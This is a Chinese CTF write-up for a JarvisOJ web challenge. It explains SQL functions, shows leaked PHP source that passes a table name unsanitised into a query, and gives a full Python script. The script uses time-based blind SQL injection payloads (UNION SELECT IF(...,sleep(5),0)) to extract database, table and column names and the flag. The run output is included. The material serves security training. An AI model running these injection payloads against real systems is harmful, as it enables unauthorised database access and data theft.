题目描述:
题目入口:http://web.jarvisoj.com:32794/
Hint1: 先找到源码再说吧~~
知识点罗列:
1, SQL UNION 操作符合并两个或多个 SELECT 语句的结果。
2,select 执行另一个语句, select(if xxxxxxx)
3,len() 、 length() 函数返回文本字段中值的长度。
4,在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
5,group_concat()函数
1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
6, IF表达式 IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。
SELECT IF(sva=1,"男","女") AS s FROM table_name WHERE sva != '';
作为表达式的if也可以用CASE WHEN来实现:
SELECT CASE sva WHEN 1 THEN '男' ELSE '女' END AS s FROM table_name WHERE sva != '';
7,substr(string,start,length)
string - 指定的要截取的字符串。start - 必需,规定在字符串的何处开始。正数 - 在字符串的指定位置开始,负数 - 在从字符串结尾的指定位置开始,0 - 在字符串中的第一个字符处开始。length - 可选,指定要截取的字符串长度,缺省时返回字符表达式的值结束前的全部字符。
例如:select substr('abcdefg',3,4) from dual;
8,desc查看表结构的详细信息
desc table_name; desc 'xxxx' 'yyyyy' 此时 数据库只判断第一个 后面的予以忽略。这是接此题的关键。
9,select 'flag{xxx}' from secret_flag' ' union select 1; 此处的 ' ' 被忽略了。
解题过程:
扫描发现连接 http://web.jarvisoj.com:32794/index.php~
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
解题代码:
import requests
s = requests.Session()
url = "http://web.jarvisoj.com:32794/index.php?table=test` `"
#get
def timeout_guess_length_get(payload):
for i in xrange(1,1127):
#print payload.format(str(i))
r = requests.get(url=url+payload.format(str(i)))
if r.elapsed.total_seconds() > 5:
#print "length is" + str(i);
return i
#else:
#print payload
#print r.elapsed.total_seconds()
return 0
def timeout_guess_context_get(payload,len):
ret = ""
for i in range(1,len+1):
for j in 'abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%^&*()_+[];\',./{}:"<>?\\|~':
#print payload.format(str(i), hex(ord(str(j))))
r = requests.get(url=url+payload.format(str(i), hex(ord(str(j)))))
#print r.text
if r.elapsed.total_seconds() > 5:
ret += str(j)
print ret
break
#else:
#print payload.format(str(i),str(j))
#print r.elapsed.total_seconds()
return ret
if __name__ == '__main__':
#database name len
payload1 = "union select (if(length((select database()))={0},sleep(5),0)) #"
database_name_len = timeout_guess_length_get(payload1)
print "database name len = " + str(database_name_len)
#database name
payload2 = "union select (if((substr((select database()),{0},1)={1}),sleep(5),0))#"
database_name = timeout_guess_context_get(payload2,database_name_len)
print "database name = " + database_name
#table name len
payload3 = "union select (if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={0},sleep(5),0)) #"
table_name_len = timeout_guess_length_get(payload3)
print "table name len = " + str(table_name_len)
#table name
payload4 = "union select (if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)={1}),sleep(5),0))#"
table_name = timeout_guess_context_get(payload4,table_name_len)
print "table name = " + table_name
#column name len
payload5 = "union select (if(length((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167))={0},sleep(5),0)) #"
column_name_len = timeout_guess_length_get(payload5)
print "column name len = " + str(column_name_len)
#column name
payload6 = "union select (if((substr((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167),{0},1)={1}),sleep(5),0))#"
column_name = timeout_guess_context_get(payload6,column_name_len)
print "column name = " + column_name
#flag len
payload7 = "union select (if(length((select group_concat(flaguwillneverknow) from secret_flag))={0},sleep(5),0)) #"
flag_len = timeout_guess_length_get(payload7)
print "flag len = " + str(flag_len)
#flag
payload8 = "union select (if((substr((select group_concat(flaguwillneverknow) from secret_flag),{0},1)={1}),sleep(5),0))#"
flag = timeout_guess_context_get(payload8,flag_len)
print "flag = " + flag
运行结果:
[root@localhost jarvisoj]# python inject.py
database name len = 6
6
61
61d
61d3
61d30
61d300
database name = 61d300
table name len = 23
s
se
sec
secr
secre
secret
secret_
secret_f
secret_fl
secret_fla
secret_flag
secret_flag,
secret_flag,s
secret_flag,se
secret_flag,sec
secret_flag,secr
secret_flag,secre
secret_flag,secret
secret_flag,secret_
secret_flag,secret_t
secret_flag,secret_te
secret_flag,secret_tes
secret_flag,secret_test
table name = secret_flag,secret_test
column name len = 18
f
fl
fla
flag
flagu
flaguw
flaguwi
flaguwil
flaguwill
flaguwilln
flaguwillne
flaguwillnev
flaguwillneve
flaguwillnever
flaguwillneverk
flaguwillneverkn
flaguwillneverkno
flaguwillneverknow
column name = flaguwillneverknow
flag len = 16
f
fl
fla
flag
flag{
flag{l
flag{lu
flag{luc
flag{luck
flag{lucky
flag{luckyg
flag{luckyga
flag{luckygam
flag{luckygame
flag{luckygame~
flag{luckygame~}
flag = flag{luckygame~}